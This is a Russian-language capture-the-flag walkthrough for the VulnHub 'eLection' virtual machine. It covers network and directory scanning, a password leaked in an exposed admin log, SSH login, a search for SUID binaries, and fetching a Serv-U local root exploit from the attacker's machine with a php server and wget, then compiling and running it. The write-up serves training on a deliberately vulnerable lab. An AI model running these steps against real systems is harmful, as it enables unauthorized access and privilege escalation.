Решение CTF (eLection).
Здравствуйте, дорогие друзья. Сегодня будем решать задание ctf на виртуальной машине, которая называется eLection. Скачать ее можно с Vulnhab-a, перейдя по ссылке: https://www.vulnhub.com/entry/election-1,503/
После скачивания в обязательном порядке нужно сверить контрольную сумму данной виртуальной машины, которая располагается на странице скачивания ниже:
Это хеш MD5 и SHA1. Так как у меня хостовая ось – это Windows 10, то я буду сверять сумму с помощью программы HashTab:
Отлично, теперь можно распаковывать архив и импортировать виртуальную машину в среду виртуализации (у меня это WmWare). Делается это очень просто. Двойной клик мыши по файлу с расширением .ova, и установка.
Если с этим справились, то можно запускать машину для дальнейшего решения задания CTF.
Так как мы ничего не знаем о данной машине (кроме того, что это дистрибутив Ubuntu), нам нужно узнать ip-адрес данной машине в нашей сети. Делается это с помощью инструмента «Netdiscover»:
После тестирования каждого айпи, мы узнали, что актуальный адрес для нас будет: 192.168.119.143. Это в моем случае. В Вашем будет немного отличаться адреса.
Перейдем в браузер и видим дефолтное окно сервера Apache2:
Далее нам необходимо просканировать айпи адрес на наличие открытых портов. Это делается с помощью команды «nmap –p- -A 192.168.119.143»:
Исходя из сканирования, у нас есть два открытых порта – это 22 и 80 порты соответственно.
Далее нам нужно воспользоваться инструментом для сканирования каталогов, который называется «gobuster». Настоятельно рекомендую почитать справку данной программы, чтобы понимать синтаксис. Команда будет выглядеть как: «gobuster dir -u http://192.168.119.143/ -w /usr/share/dirb/wordlists/common.txt»:
Нас будет интересовать страница «robots.txt»:
Запись в «robots.txt» довольно интересная, но нас будет интересовать последнее слово «election». Это проверяется методом проб и ошибок. Нам нужно просто вставить данное слово после айпи-адреса машины:
Мы видим веб-морду election.
Далее воспользуемся сканером dirsearch. Dirsearch — это простой инструмент командной строки, предназначенный для перебора каталогов и файлов на веб-сайтах. Скачать его можно с гитхаба, перейдя по ссылке: https://github.com/maurosoria/dirsearch
Далее копируем данную ссылку и переходим в терминал, предварительно перейдя на рабочий стол и введя команду «git clone https://github.com/maurosoria/dirsearch.git»:
Переходим в директорию «dirsearch» и запускаем скрипт с помощью команды: «./dirsearch.py –u http://192.168.119.143/election/ -e * -x 403»:
Нас будет интересовать путь «/election/admin/logs». Переходим в браузер и вводим данный путь:
Получаем системный файл с логами. Это интересно уже. Скачиваем файл и открываем его:
Видим, что у нас есть пароль пользователя «Love». Сразу копируем его и идем в терминал, для того, чтобы сконнектиться по ssh (мы помним, что у нас открыт 22 порт ssh):
Мы в системе под пользователем «love»:
Переходим в директорию временных файлов «/tmp», и вводим команду для поиска возможных уязвимых каталогов «find / -perm /4000 2>/dev/null»:
После вывода нас будет интересовать директория: «/usr/local/Serv-U/Serv-U», так как мы можем подобрать эксплойт под данную уязвимость.
Ссылка на эксплойт: https://www.exploit-db.com/exploits/47009 Скачиваем данный файл к себе на машину и проверяем айпи-адрес:
Вводим команду для загрузки и прослушивания: «php –S 192.168.119.142:7676»:
Переходим на сервер и загружаем скрипт с помощью команды: «wget http://192.168.119.142:7676/47009.c»:
Проверяем, загружен ли эксплойт:
Осталось запустить эксплойт и получить права рут. Это можно реализовать с помощью команды: «gcc 47009.c –o pe && ./pe»:
Перейдем в директорию /root и находим флаг:
На этом все. Всем хорошего дня!